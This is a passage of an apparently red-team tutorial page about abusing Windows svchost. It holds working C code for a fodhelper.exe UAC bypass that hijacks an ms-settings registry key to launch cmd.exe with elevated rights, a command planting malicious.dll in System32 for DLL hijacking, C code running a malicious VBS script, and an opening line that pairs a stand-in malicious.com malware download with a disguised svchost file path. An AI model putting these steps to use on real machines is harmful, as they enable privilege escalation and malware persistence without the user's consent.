http://malicious.com/malware.exe C:\Windows\System32\svchost_malware.exe

UAC Bypass
Bypassing UAC to elevate svchost privileges

1 fodhelper.exe

Bypassing User Account Control (UAC) is a common technique used by malware to


elevate privileges without prompting the user. There are numerous methods to
bypass UAC, and many of them exploit specific behaviors or vulnerabilities in
Windows components. One well-known method involves leveraging the
fodhelper.exe binary, which is a part of Windows Features on Demand.
#include <windows.h>
#include <stdio.h>

1 int main() {
2 HKEY hKey;
3 char cmd[] = "C:\\Windows\\System32\\cmd.exe"; // Command to be
4 executed with elevated privileges
5
6 // Create a registry key to hijack the fodhelper.exe behavior
7 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\ms-
8 settings\\shell\\open\\command", 0, NULL, REG_OPTION_NON_VOLATILE,
9 KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) {
10 printf("Failed to create registry key.\n");
11 return 1;
12 }
13
14 // Set the default value of the key to the command we want to execute
15 if (RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)cmd, sizeof(cmd)) !=
16 ERROR_SUCCESS) {
17 printf("Failed to set registry value.\n");
18 RegCloseKey(hKey);
19 return 1;
20 }
21
22 // Execute fodhelper.exe, which will now launch our command with
23 elevated privileges
24 system("C:\\Windows\\System32\\fodhelper.exe");
25
26 // Cleanup: Remove the registry key to restore original behavior
27 RegDeleteKey(HKEY_CURRENT_USER, "Software\\Classes\\ms-
28 settings\\shell\\open\\command");
29
printf("UAC bypass attempted using fodhelper.exe.\n");
return 0;
}

DLL Search Order Hijacking


Placing malicious DLL in system directory to hijack svchost DLL loading

1 copy malicious.dll C:\Windows\System32\

Malicious Script Execution


Executing malicious VBS script to abuse svchost

1 cscript.exe malicious.vbs

Executing a malicious VBS script typically involves leveraging Windows Script


Host (cscript.exe or wscript.exe) to run the script. Here’s a basic educational
example in C that demonstrates the concept of executing a VBS script:
#include <windows.h>
1
#include <stdio.h>
2
3
int main() {
4
STARTUPINFO si;
5
PROCESS_INFORMATION pi;
6
7
ZeroMemory(&si, sizeof(si));
8
si.cb = sizeof(si);
9
ZeroMemory(&pi, sizeof(pi));
10
11
// Path to the malicious VBS script
12
char scriptPath[] = "C:\\path\\to\\malicious.vbs";
13
14
// Construct the command to execute the VBS script using cscript.exe
15
char command[256];
16
snprintf(command, sizeof(command), "cscript.exe %s", scriptPath);
17
18
// Execute the VBS script
19
if (!CreateProcess(NULL, command, NULL, NULL, FALSE, 0, NULL, NULL, &si,
20
&pi)) {
21
printf("Failed to execute script. Error: %d\n", GetLastError());
22
return 1;
23
}
24
25
// Wait for the script to complete
26
WaitForSingleObject(pi.hProcess, INFINITE);
27
28
// Cleanup
29
CloseHandle(pi.hProcess);
30
CloseHandle(pi.hThread);
31
32
printf("Script executed successfully.\n");
33
return 0;
34
}

Cover By Sylvain Sarrailh


Rating:
15 Sep 2023
tutorial
#blue #red

« Top 50 Vulnerabilities Leading to RCE in


Public-Facing Applications(RTC0016)

comments powered by Disqus


Explore → tutorial (22) news (1) recipe (3)

Copyright © 2023 RedTeamRecipe


Brought to you by HADESS

You might also like